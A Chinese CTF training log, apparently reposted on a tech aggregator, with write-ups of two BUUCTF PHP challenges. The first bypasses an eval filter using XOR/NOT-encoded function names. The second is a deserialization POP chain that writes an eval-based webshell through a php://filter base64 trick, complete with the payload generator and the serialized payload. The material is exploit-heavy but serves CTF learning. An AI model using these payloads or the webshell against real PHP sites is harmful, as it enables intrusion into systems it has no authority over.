IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [BUUCTF] 第七天训练日志 -> 正文阅读

[PHP知识库][BUUCTF] 第七天训练日志

BUUCTF:[ISITDTU 2019]EasyPHP

知识点

  • php异或取反绕过限制

WP

直接就给了源码,看来需要绕过这两个if

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

第一个if:

\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops              匹配这些字符
\x7F                            匹配DEL(\x7F)字符

第二个if:先看count_chars函数,mode为3,那么条件就是不能提交超过13种字符的字符串
在这里插入图片描述
综上发现没有过滤~^字符,考虑取反绕过和异或绕过
先测试phpinfo函数

final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:    
    for i in allowed:
        for p in allowed:
            if ord(i)^ord(p)==ord(a):
                print("i=%s p=%s a=%s"%(i,p,a))

暴力搜索可行的字符,如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
在这里插入图片描述
查看disable_functions,发现很多函数都被禁用了。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

尝试用scandir()函数或者glob()函数加上print_r或var_dump来读目录进而获取flag文件。

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

再考虑count_chars的限制,现在一共用了16个不同的字符,还要减少三个字符以及保留必要的^,();
用已有的字符来进行替换,如

str = 'acdips'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))
结果:
n = c^d^i
n = c^i^d
n = d^c^i
n = d^i^c
n = i^c^d
n = i^d^c
t = c^d^s
t = c^s^d
t = d^c^s
t = d^s^c
t = s^c^d
t = s^d^c
r = a^c^p
r = a^p^c
r = c^a^p
r = c^p^a
r = p^a^c
r = p^c^a

那么就是取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成:
(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变。
最后print_r(scandir(’.’));为:
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

在这里插入图片描述
看到文件,这里可以用end函数来读取数组最后一个元素来简化即,readfile(end(scandir(.))),最后为

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

参考文章:php的一些绕过方法

[EIS 2019]EzPOP

知识点

  • php反序列化写入webshell

WP

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {

        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

有两个类,先看A类可用点

 public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }

_destruct函数里调用了save方法,而在save方法中store调用了B类中的set方法。
cleanContents方法中array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。那么就是将返回的object和cacheProperties的交集赋给了content[path],object可控,可以将shell写入object的path中
在getForStorage函数中调用了cleanContents函数,传入了cache变量(可控),并返回json格式的数据,同时complete变量也可控。

public function cleanContents(array $contents) {

        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

再来看B类,直接定位到之前说到的set函数,首先options['expire']可控,同时expire变量为null,接下来调用了getExpireTime返回int型数据和getCacheKey方法,getCacheKey方法中返回的是拼接数据options['prefix'] . $name,可控。

 public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

之后调用了serialize函数,而在serialize中先是将data转为string型,之后可控option[‘serialize’]来返回数据。

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

继续对于数据压缩可以让options[‘data_compress’]=false即可绕过,关键在最后

 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
 $result = file_put_contents($filename, $data);

data与<?php exit();?>连接导致传入的shell无法执行而退出,那么就需要绕过:
由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以符合base编码的就有php//exit9个字节,对于中间部分sprintf('%012d',$expire'),是输出12个字节,那么一共<?php\n// \n exit();?>\n有21个字节,需要再加3个字节来符合base64编码的规则。
可以使用php伪协议来绕过

php://filter/write=convert.base64-decode/resource=

最后用file_put_contents来读取flag

filename参数是options[‘prefix’]和$name进行拼接的结果,而name是由A类中的key传来的,所以让

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="shell.php";

接下来构造data即shell的内容,在set函数中data变量最初是由value传来的,而value是由A类中的content变量传来,结合我们之前发现的可控变量,这里可以有两个选择,一是让cache为空数组,在this->comlete中写入shell内容,二是令

$a = new A();
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$a->cache = array($path=>$object);

PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg base64解码后为<?php eval($_POST['cmd']);?>
这里尝试用第一个方法,令A->complete

A->complete=base64_encode('xxx',base64_encode('<?php eval($_POST['cmd']);?>'))

第一个对于整体的base64_encode是为了可以base64-decode读内容,第二个在括号内的base64_encode是为了绕过exit(),同时加上三个字符来符合base64编码规则。对应解码先是filename里用php伪协议解码一次,那么另一次解码就可以用之前说的可控serialize参数令其为base64_decode
整个过程就是

A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()getCacheKey()+serialize()->file_put_contents写入shell->getshell

save为A和B的衔接点。
payload

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["cmd"]);?>'));
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0; 
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

结果:

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKamJXUWlYU2s3UHo0PQ%3D%3D%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

传递参数令src=&data=payload,再访问shell.php即可
在这里插入图片描述
在这里插入图片描述

总结

代码审计还是要有耐心,思路清晰灵活运用可用点。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-21 15:07:20  更:2021-08-21 15:09:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 7:06:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码